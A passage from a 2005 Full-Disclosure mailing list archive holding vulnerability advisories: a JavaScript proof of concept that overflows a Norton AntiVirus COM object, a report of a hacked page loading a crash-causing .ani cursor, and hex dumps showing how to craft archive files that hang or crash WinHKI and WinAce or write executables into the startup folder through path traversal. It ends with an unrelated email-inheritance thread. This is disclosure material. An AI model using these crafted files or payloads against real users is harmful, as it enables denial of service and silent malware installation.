~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

Symantec Norton AntiVirus 2004 installs many DLLs(Dynamic Link Library)
and COM(Component Object Model) objects. One of its DLL's "ccErrDsp.dll"
Which is by the default installation options located at :
C:\Program Files\Common Files\Symantec Shared\ccErrDsp.dll

"ccErrDsp.dll" registers "CcErrDsp.ErrorDisplay.1"  COM Object.
After Symantec Norton AntiVirus 2004 was used, this object can be created
Localy & Remotely!

For Example:
Set symkiller = CreateObject("CcErrDsp.ErrorDisplay.1" )

The vulnerability appears in the "sProduct" parameter at the "DisplayError"
function of the object.
The "DisplayError" recieves the following parameters:
DisplayError(
                        [in] long nParentWnd,
                        [in] int nModuleId,
                        [in] int nErrorId,
                        [in] BSTR sCaption,
                        [in] BSTR sErrorText,
                        [in] BSTR sProduct,
                        [in] BSTR sVersion,
                        [in, optional] VARIANT varKeyArray,
                        [in, optional] VARIANT varValueArray,
                        [out, retval] VARIANT_BOOL* pRet);

Which means that the following assignment:
object.DisplayError(1,1,1,[STR <=255],[STR <=255],[Really Long String -
'A'>521950],[STR <=255]);
Will cause a Stack Buffer Overflow, which does not allow code execution.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

This is Proof Of Concept Code:
------------------- CUT HERE -------------------
<script>
a=
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
b=
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
for (i=0;i<2000;i++) {
a= a + b;
}

symkiller=new ActiveXObject("CcErrDsp.ErrorDisplay.1" );
symkiller.DisplayError(1,1,1,b,b,a,b);
</script>
------------------- CUT HERE -------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Only the one who sees the invisible , Can do the Impossible."



From crypticmauler at linuxmail.org  Thu Jan  6 07:33:21 2005
From: crypticmauler at linuxmail.org (CrYpTiC MauleR)
Date: Thu, 06 Jan 2005 02:33:21 -0500
Subject: [Full-Disclosure] Animated Cursor Blue Screen?
Message-ID: <20050106073321.17E9821B32F@ws5-6.us4.outblaze.com>

When going to a bookmarked site which hosts public proxy lists I found out the site was hacked. There was a meta-refresh to the attackers website, when viewing the sourcode of the hacked webpage I noticed this....


[style type="text/css"]
body {CURSOR: url("http://www.milw0rm.com/sploits/KERNELBLUE.ani")}
[/style]


I was viewing the site in Firefox and Firefox as far as I remember does not support animated cursors as of yet. I saved that file on my computer to check  it out later. Only later did I realize it was a bad idea, whenever I tried accessing the directory that file was saved I got a blue screen (Windows 2000) I was able to delete the file using a command prompt. I am assuming the atacker meant for the computer to crash upon the cursor loading which failed (hooray for Firefox). Has anyone seen this before? I did a brief search on Google for such an exploit but did not come across any. I am assuming the crash could be done with any file type. Thanks for the input!




Regards,
Nick
-- 
______________________________________________
Check out the latest SMS services @ http://www.linuxmail.org 
This allows you to send and receive SMS through your mailbox.


Powered by Outblaze



From theinsider at 012.net.il  Thu Jan  6 08:12:32 2005
From: theinsider at 012.net.il (Rafel Ivgi, The-Insider)
Date: Thu, 06 Jan 2005 10:12:32 +0200
Subject: [Full-Disclosure] WinHKI BH File Incorrect Filename Handeling Leads
	to 100 CPU%
Message-ID: <001b01c4f3c7$78d0d550$f85ab350@noone>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:    WinHKI
Vendors:        http://www.webtoolmaster.com
Versions:       1.4d
Platforms:      Windows
Bug:            BH File Incorrect Filename Handeling Leads to 100 CPU%
Exploitation:   Local (extract file)
Date:           24 Dec 2004
Author:         Rafel Ivgi, The-Insider
E-Mail:         the_insider at mail.com
Website:        http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

WinHKI is a file archiever which supports: BH, CAB, HKI, JAR, LHA,TAR, GZ
compressions.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

This is a normal BH compressed file header

00000000 4248 0507 2D00 2507 0302 0839 7378 3119 BH..-.%....9sx1.
00000010 0000 001B 0000 00E8 5F41 5C20 0000 0000 ........_A\ ....
00000020 0008 0000 002F 3130 372E 6874 6DB3 294E ...../107.htm.)N
00000030 2ECA 2C28 C9B6 4BCC 492D 2AD1 D0B4 D187 ..,(..K.I-*.....
00000040 08D8 F172 0100 4248 0507 7100 2507 0300 ...r..BH..q.%...
00000050 0094 A484 3100 0000 0000 0000 0000 0000 ....1...........
00000060 0010 0000 0000 004C 0000 002F 446F 6375 .......L.../Docu

The last byte in the following code, specifies the length of the
compressed file name. Once it doesn't match the filename's length
WinHKI goes into 100 CPU%

00000000 4248 0507 2D00 2507 0302 0839 7378 3119 BH..-.%....9sx1.
00000010 0000 001B 0000 00E8 5F41 5C20 0000 0000 ........_A\ ....
00000020 0008 0000 002F 3130 372E 6874 6DB3 294E ...../107.htm.)N
00000030 2ECA 2C28 C9B6 4BCC 492D 2AD1 D0B4 D187 ..,(..K.I-*.....
00000040 08D8 F172 0100 4248 0507

All we need to do is change the length of the filename specified
inside the file. Where this is the part which specifies the file name:

00000000 4248 0507 2D00 2507 0302 0839 7378 3119 BH..-.%....9sx1.
00000010 0000 001B 0000 00E8 5F41 5C20 0000 0000 ........_A\ ....
00000020 0008 0000 002F 3130 372E 6874 6DB3 294E ...../1077.htm.)N
00000030 2ECA 2C28 C9B6 4BCC 492D 2AD1 D0B4 D187 ..,(..K.I-*.....
00000040 08D8 F172 0100 4248 0507 7100 2507 0300 ...r..BH..q.%...
00000050 0094 A484 3100 0000 0000 0000 0000 0000 ....1...........
00000060 0010 0000 0000 004C 0000 002F 446F 6375 .......L.../Docu

Using any Hex editor such as HexWorkshop, just add anything to the filename.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

An online proof of concept can be found at:
http://theinsider.deep-ice.com/poc.bh

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."



From theinsider at 012.net.il  Thu Jan  6 08:18:51 2005
From: theinsider at 012.net.il (Rafel Ivgi, The-Insider)
Date: Thu, 06 Jan 2005 10:18:51 +0200
Subject: [Full-Disclosure] WinHKI - LHA File Incorrect Filename Handeling
	Leads to Crash/Underflow
Message-ID: <003301c4f3c8$5a9d8d20$f85ab350@noone>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:    WinHKI
Vendors:        http://www.webtoolmaster.com
Versions:       1.4d
Platforms:      Windows
Bug:            LHA File Incorrect Filename Handeling Leads to
Crash/Underflow
Exploitation:   Local (extract file)
Date:           24 Dec 2004
Author:         Rafel Ivgi, The-Insider
E-Mail:         the_insider at mail.com
Website:        http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

WinHKI is a file archiever which supports: LHA, CAB, HKI, JAR, LHA,TAR, GZ
compressions.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

This is a normal LHA compressed file header

00000000 1EFF 2D6C 6830 2D1B 0000 001B 0000 0039 ..-lh0-........9
00000010 7378 3120 0008 5C31 3032 2E68 746D 4543 sx1 ..\102.htmEC
00000020 3C73 6372 6970 7466 3E61 6C65 7274 2829 <scriptf>alert()
00000030 3C2F 7363 7269 7074 3E0D 0A62 5F2D 6C68 </script>..b_-lh
00000040 642D 0000 0000 0000 0000 94A4 8431 1000 d-...........1..

The last byte in the following code, specifies the length of the
compressed file name. Once its smaller than the filename's length
WinHKI crashes.

00000000 1EFF 2D6C 6830 2D1B 0000 001B 0000 0039 ..-lh0-........9
00000010 7378 3120 0020                          sx1 .

This may be an underflow, i couln't tell its an
underflow for sure because my MSDEV went into a 100 CPU% loop
while debugging this.
All we need to do is shorten the length of the filename specified inside the
file
or to change the byte which sets the filename's size to a higher value.
For Example:

00000000 1EFF 2D6C 6830 2D1B 0000 001B 0000 0039 ..-lh0-........9
00000010 7378 3120 0020 5C31 3073 7373 7373 7373 sx1 . \10sssssss
00000020 3232 2E68 746D 4543 3C73 6372 6970 7466 22.htmEC<scriptf
00000030 3E61 6C65 7274 2829 3C2F 7363 7269 7074 >alert()</script
00000040 3E0D 0A62 5F2D 6C68 642D 0000 0000 0000 >..b_-lhd-......
00000050 0000 94A4 8431 1000 4C5C 446F 6375 6D65 .....1..L\Docume

Using any Hex editor such as HexWorkshop, just add anything to the filename.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

An online proof of concept can be found at:
http://theinsider.deep-ice.com/poc.lha - (also contains folder names from my
old computer...)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."



From theinsider at 012.net.il  Thu Jan  6 08:19:50 2005
From: theinsider at 012.net.il (Rafel Ivgi, The-Insider)
Date: Thu, 06 Jan 2005 10:19:50 +0200
Subject: [Full-Disclosure] WinHKI - BH File Directory Transversal
Message-ID: <003d01c4f3c8$7dfa4920$f85ab350@noone>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:    WinHKI 
Vendors:        http://www.webtoolmaster.com
Versions:       1.4d
Platforms:      Windows
Bug:            BH File Directory Transversal
Exploitation:   Local (extract file)
Date:           24 Dec 2004
Author:         Rafel Ivgi, The-Insider
E-Mail:         the_insider at mail.com
Website:        http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

WinHKI is a file archiever which supports: BH, CAB, HKI, JAR, LHA,TAR, GZ
compressions.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

This is a normal BH compressed file header

00000000 484B 4901 1441 0000 FD00 3973 7831 8D34 HKI..A....9sx1.4
00000010 3741 7800 0000 1B00 0000 0500 0000 302E 7Ax...........0.
00000020 6874 6D00 0010 0078 0000 001B 0000 008D htm....x........
00000030 3437 4101 0000 0001 06FF FF00 0000 0000 47A.............

in the following code, we can see how easy it is to change the path
to anywhere we want, including the all users start up folder.

00000000 484B 4901 1441 0000 FD00 6C8C 9031 066A HKI..A....l..1.j
00000010 8E05 F600 0000 D300 0000 4000 0000 633A .......... at ...c:
00000020 5C64 6F63 756D 657E 315C 616C 6C75 7365 \docume~1\alluse
00000030 7E31 5C73 7461 7274 6D7E 315C 7072 6F67 ~1\startm~1\prog
00000040 7261 6D73 5C73 7461 7274 7570 5C63 6F6F rams\startup\coo
00000050 6C20 2076 6972 7573 6573 2E65 7865 0000 l  viruses.exe..
00000060 1000 F600 0000 D300 0000 066A 8E05 0100 ...........j....


All we need to do is cab compress (using WinHKI) a file with a long
name/path and change the path specified inside the file to whatever
we want Using any Hex editor such as HexWorkshop, just add anything
to the filename.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

An online proof of concept can be found at:
http://theinsider.deep-ice.com/poc.bh

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--- 
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."



From theinsider at 012.net.il  Thu Jan  6 08:20:27 2005
From: theinsider at 012.net.il (Rafel Ivgi, The-Insider)
Date: Thu, 06 Jan 2005 10:20:27 +0200
Subject: [Full-Disclosure] WinHKI - CAB File Directory Transversal
Message-ID: <004301c4f3c8$945454e0$f85ab350@noone>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:    WinHKI
Vendors:        http://www.webtoolmaster.com
Versions:       1.4d
Platforms:      Windows
Bug:            CAB File Directory Transversal
Exploitation:   Local (extract file)
Date:           24 Dec 2004
Author:         Rafel Ivgi, The-Insider
E-Mail:         the_insider at mail.com
Website:        http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

WinHKI is a file archiever which supports: BH, CAB, HKI, JAR, LHA,TAR, GZ
compressions.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

This is a normal CAB compressed file header

00000000 4D53 4346 0000 0000 0E30 0F00 0000 0000 MSCF.....0......
00000010 2C00 0000 0000 0000 0301 0100 0100 0000 ,...............
00000020 0000 0000 5800 0000 2000 0100 C8EE 0F00 ....X... .......
00000030 0000 0000 0000 0C2F CC61 2000 7356 5656 ......./.a .sVVV
00000040 5656 5656 5656 5656 5656 5656 5656 5656 VVVVVVVVVVVVVVVV
00000050 5670 352E 6578 6500 5D5B 7CBC 2742 0080 Vp5.exe.][|.'B..
00000060 434B EC5A 7F54 5457 7E7F 33CC C000 036F CK.Z.TTW~.3....o


in the following code, we can see how easy it is to change the path
to anywhere we want, including the all users start up folder.

00000000 4D53 4346 0000 0000 0E30 0F00 0000 0000 MSCF.....0......
00000010 2C00 0000 0000 0000 0301 0100 0100 0000 ,...............
00000020 0000 0000 5800 0000 2000 0100 C8EE 0F00 ....X... .......
00000030 0000 0000 0000 0C2F CC61 2000 433A 5C56 ......./.a .C:\V
00000040 5656 5656 5656 5656 5656 5656 5656 5656 VVVVVVVVVVVVVVVV
00000050 5670 352E 6578 6500 5D5B 7CBC 2742 0080 Vp5.exe.][|.'B..
00000060 434B EC5A 7F54 5457 7E7F 33CC C000 036F CK.Z.TTW~.3....o


All we need to do is cab compress (using Microsoft's "makecab" or Winace)
a file with a long name/path and change the path specified inside the file
to whatever we want Using any Hex editor such as HexWorkshop, just add
anything to the filename.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

An online proof of concept can be found at:
http://theinsider.web1000.com/hki transversal.cab

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."



From theinsider at 012.net.il  Thu Jan  6 08:21:39 2005
From: theinsider at 012.net.il (Rafel Ivgi, The-Insider)
Date: Thu, 06 Jan 2005 10:21:39 +0200
Subject: [Full-Disclosure] WinAce & WinHKI - ZIP File Directory Transversal
Message-ID: <004901c4f3c8$bf115750$f85ab350@noone>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:    WinAce, WinHKI
Vendors:        http://www.webtoolmaster.com
Versions:       1.4d
Platforms:      Windows
Bug:            ZIP File Directory Transversal
Exploitation:   Local (extract file)
Date:           24 Dec 2004
Author:         Rafel Ivgi, The-Insider
E-Mail:         the_insider at mail.com
Website:        http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

WinHKI is a file archiever which supports: BH, CAB, HKI, JAR, LHA,TAR, GZ
compressions.
WinAce is a file archiever which supports: CAB, JAR, ZIP, RAR, TAR, GZ,
TAR.GZ, LZA, LHA compressions.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

This is a normal ZIP compressed file header

00000000 504B 0304 1400 0200 0800 CC81 0C2F B78F PK.........../..
00000010 F209 3C2F 0F00 C8EE 0F00 0700 0000 7370 ..</..........sp
00000020 352E 6578 65EC 5A7F 5454 577E 7F33 0C30 5.exe.Z.TTW~.3.0
00000030 C0C0 1B94 8926 6A32 2AAE D9FC 206E 2628 .....&j2*... n&(
00000040 2018 1186 4044 7D3A E40D 4940 4304 7CCC  ... at D}:..I at C.|.

in the following code, we can see how easy it is to change the path
to anywhere we want, including the all users start up folder.
I just overwrited the original long file name to /../../sp5.exe

00000000 504B 0304 1400 0200 0800 CC81 0C2F B78F PK.........../..
00000010 F209 3C2F 0F00 C8EE 0F00 1000 0000 7662 ..</..........vb
00000020 2F2E 2E2F 2E2E 2F73 7035 2E65 7865 EC5A /../../sp5.exe.Z
00000030 7F54 5457 7E7F 330C 30C0 C01B 9489 266A .TTW~.3.0.....&j
00000040 322A AED9 FC20 6E26 2820 1811 8640 447D 2*... n&( ... at D}

All we need to do is zip compress (using winzip, winrar, winace)
a file with a long name/path and change the path specified inside the file
to whatever we want Using any Hex editor such as HexWorkshop, just add
anything to the filename.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

An online proof of concept can be found at:
http://theinsider.web1000.com/WINACE-WINHKI ZIP TRANSVERSAL.zip

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."



From theinsider at 012.net.il  Thu Jan  6 08:22:22 2005
From: theinsider at 012.net.il (Rafel Ivgi, The-Insider)
Date: Thu, 06 Jan 2005 10:22:22 +0200
Subject: [Full-Disclosure] WinAce - GZIP File Directory Transversal
Message-ID: <004f01c4f3c8$d8a446f0$f85ab350@noone>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:    WinAce
Vendors:        http://www.webtoolmaster.com
Versions:       1.4d
Platforms:      Windows
Bug:            GZIP File Directory Transversal
Exploitation:   Local (extract file)
Date:           24 Dec 2004
Author:         Rafel Ivgi, The-Insider
E-Mail:         the_insider at mail.com
Website:        http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

WinAce is a file archiever which supports: CAB, JAR, ZIP, RAR, TAR, GZ,
TAR.GZ, LZA, LHA compressions.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

This is a normal GZIP compressed file header

00000000 1F8B 0808 DC89 9641 0000 7769 6E33 322D .......A..win32-
00000010 7368 656C 6C63 6F64 652E 7064 6600 BCBC shellcode.pdf...
00000020 073C 95FF FB3F 5E66 227B 671C 2487 749C .<...?^f"{g.$.t.
00000030 7D8E 5956 F626 23C9 96BD B790 BD77 F6C8 }.YV.&#......w..
00000040 2622 2264 9411 2111 45F6 5656 4684 28FF &""d..!.E.VVF.(.


in the following code, we can see how easy it is to change the path
to anywhere we want, including the all users start up folder.
I just overwrited the original long file name to /../../sp5.exe

00000000 1F8B 0808 CE7D A441 0000 2E2E 2F2E 2E2F .....}.A..../../
00000010 2E2E 2F2E 2E2F 2E2E 2F72 6166 692E 6578 ../../../rafi.ex
00000020 6500 B329 4E2E CA2C 2849 B34B CC49 2D2A e..)N..,(I.K.I-*
00000030 D1D0 B4D1 8708 D8F1 7201 0045 5910 EA1B ........r..EY...
00000040 0000 00                                 ...

All we need to do is GZIP compress (using winace)
a file with a long name/path and change the path specified inside the file
to whatever we want Using any Hex editor such as HexWorkshop, just add
anything to the filename.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

An online proof of concept can be found at:
http://theinsider.deep-ice.com/winace gz file transversal.gz

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."



From jftucker at gmail.com  Thu Jan  6 09:49:14 2005
From: jftucker at gmail.com (James Tucker)
Date: Thu, 6 Jan 2005 05:49:14 -0400
Subject: [Full-Disclosure] Example of Legal Ruling involving Internet
	Issues: >> Re: Yahoo and inheiriting someone's email
In-Reply-To: <56600C3FCD14014DBE2A5816936EB1B0364CFB@HQ-EXVS03.anteon.com>
References: <56600C3FCD14014DBE2A5816936EB1B0364CFB@HQ-EXVS03.anteon.com>
Message-ID: <e92364c3050106014976c59e5d@mail.gmail.com>

Policy is policy.

If the policy is to be ignored, then so can your copyright signs, any
security notices you put on your e-mails to do with
anti-theft/anti-eavesdrop or whatever else posted anywhere else.

There is no better way to express this issue than, if it gets
overruled then it will make a farce of all digital 'agreements'
including things such as the GPL or common EULA's.

No matter what your opinion on these things as individual items or the
context in which they occur, if you remove the meaning of the
agreement, there is nothing you can replace it with, as anything could
be over-ruled at will.

Yes, maybe Yahoo does not have a comprehensive enough agreement to
deal with this issue; that would be _an_ opinion. That does not mean
ignore the agreement, that should mean maybe correct it for next time,
if there is enough agreement among the customer base that the
agreement should be changed.

Yes, maybe they (e-mails) are part of the estate, except the e-mail
itself, that is random bits, that cannot be summed or accounted for
properly (a common issue with IS). What DOES physically exist is the
agreement which he signed up to, which states exactly what it says.

Yahoo could be in as much trouble to override their agreement as to
uphold it. I say give them a break; THAT IS WHY THEY SAY _READ_ THE
AGREEMENT. Most people just click yes without thinking about it.

A contract can say "void after death" (e.g. many non-life insurance
contracts), and there are few arguments about that. There should be no
difference in that regard here. Read the contract/agreement, act
accordingly. That is law as far as I understand it, although IANAL.

Evidence of contractual agreement is available, thus the contract must
hold true.

another $0.02. although this is all getting a little tiring, which is
partially why I had to reply. (ironically stupid I know, but hey, I am
human too).


From chromazine at sbcglobal.net  Thu Jan  6 10:38:40 2005
From: chromazine at sbcglobal.net (Steve Kudlak)
Date: Thu, 06 Jan 2005 02:38:40 -0800
Subject: [Full-Disclosure] Example of Legal Ruling involving Internet
	Issues: >> Re: Yahoo and inheiriting someone's email
In-Reply-To: <e92364c3050106014976c59e5d@mail.gmail.com>
References: <56600C3FCD14014DBE2A5816936EB1B0364CFB@HQ-EXVS03.anteon.com>
	<e92364c3050106014976c59e5d@mail.gmail.com>
Message-ID: <41DD1530.20704@sbcglobal.net>

James Tucker wrote:

>Policy is policy.
>
>If the policy is to be ignored, then so can your copyright signs, any
>security notices you put on your e-mails to do with
>anti-theft/anti-eavesdrop or whatever else posted anywhere else.
>
>There is no better way to express this issue than, if it gets
>overruled then it will make a farce of all digital 'agreements'
>including things such as the GPL or common EULA's.
>
>No matter what your opinion on these things as individual items or the
>context in which they occur, if you remove the meaning of the
>agreement, there is nothing you can replace it with, as anything could
>be over-ruled at will.
>
>Yes, maybe Yahoo does not have a comprehensive enough agreement to
>deal with this issue; that would be _an_ opinion. That does not mean
>ignore the agreement, that should mean maybe correct it for next time,
>if there is enough agreement among the customer base that the
>agreement should be changed.
>
>Yes, maybe they (e-mails) are part of the estate, except the e-mail
>itself, that is random bits, that cannot be summed or accounted for
>properly (a common issue with IS). What DOES physically exist is the
>agreement which he signed up to, which states exactly what it says.
>
>Yahoo could be in as much trouble to override their agreement as to
>uphold it. I say give them a break; THAT IS WHY THEY SAY _READ_ THE
>AGREEMENT. Most people just click yes without thinking about it.
>
